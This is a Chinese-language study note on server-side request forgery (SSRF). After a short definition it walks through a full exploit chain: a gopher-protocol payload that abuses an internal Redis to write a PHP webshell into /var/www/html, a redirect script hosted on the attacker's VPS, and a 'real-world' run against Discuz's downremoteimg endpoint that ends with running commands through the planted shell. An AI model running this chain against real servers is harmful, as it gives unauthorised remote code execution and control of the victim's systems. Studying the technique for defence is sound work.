ssrf漏洞学习笔记
SSRF定义
SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
SSRF漏洞成因为由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片、下载等等。
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
SSRF常见触发点
从其他服务器应用获取数据的功能点都有可能存在SSRF
可以有以下场景:
图片加载之以图识图
图片加载之图像变化
预览内容之预览网址等等
SSRF利用
常见SSRF利用协议
- file协议:是一种用于访问本地文件系统的协议,用于访问本地计算机中的文件,好比通过资源管理器中打开文件一样,需要主要的是它是针对本地的,即file协议是访问你本机的文件资源。
- dict协议:词典网络协议,在RFC 2009中进行描述。它的目标是超越Webster protocol,并允许客户端在使用过程中访问更多字典。
- gopher:gopher协议是个tcp/ip协议,通过gopher协议可以发送tcpstream。Gopher协议是 HTTP协议出现之前,在Internet上常见且常用的一个协议。它可以说是SSRF中的万金油,。利用此协议可以攻击内网的redis、ftp等等,也可以发送 GET、POST请求。这无疑极大拓宽了SSRF的攻击面。
gopher协议格式如下:
gopher://<host>:<port>/<gopher-path>_后接TCP数据流
利用gopher协议攻击内网redis
1、首先需取github下载gopher协议url生成工具,下载链接为https://github.com/tarunkant/Gopherus。
2、运行python脚本,生成基于·gopher协议的payload。(前提是内网中开启了redis)
将url进行decode之后的内容为
gopher://127.0.0.1:6379/_*1
$8
flushall
*3
$3
set
$1
1
$34
<?php system($_GET['cmd']); ?>
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save
3、在自己的vps上编写test.php,内容如下
<?php
header("Location: gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22pass%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Aszhuo.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A");
?>
web启动服务,并将存在ssrf漏洞的URL指定为http://自己的ip:端口号/文件uri。
discuz ssrf攻击内网redis实战记录
1、漏洞位置
http://IP地址/forum.php?mod=ajax&action=downremoteimg&message=[img]漏洞点/?data=helo.jpg[/img]
2、漏洞验证
生成一个dnslog,然后将漏洞点处改为http://dnslog,查看dnslog是否有解析记录
3、phpshell
探测到存在ssrf漏洞,并且目标存在一个redis服务,所以就可以尝试操作内网写入计划任务,并在/var/www/html下生成一个php木马
利用上面的gopher生成工具生成一个payload,编写如下代码
<?php
header("Location: gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22pass%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Aszhuo.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A");
?>
4、验证是否成功
启动vps,将上述php文件放入vps根目录下,在存在ssrf漏洞处的url改为:
http://IP地址/forum.php?mod=ajax&action=downremoteimg&message=[img]http://vps/test.php/?data=helo.jpg[/img]
然后再检查检查http://discuz IP地址/szhuo.php?cmd=ls是否能正常显示当前文件夹下的内容。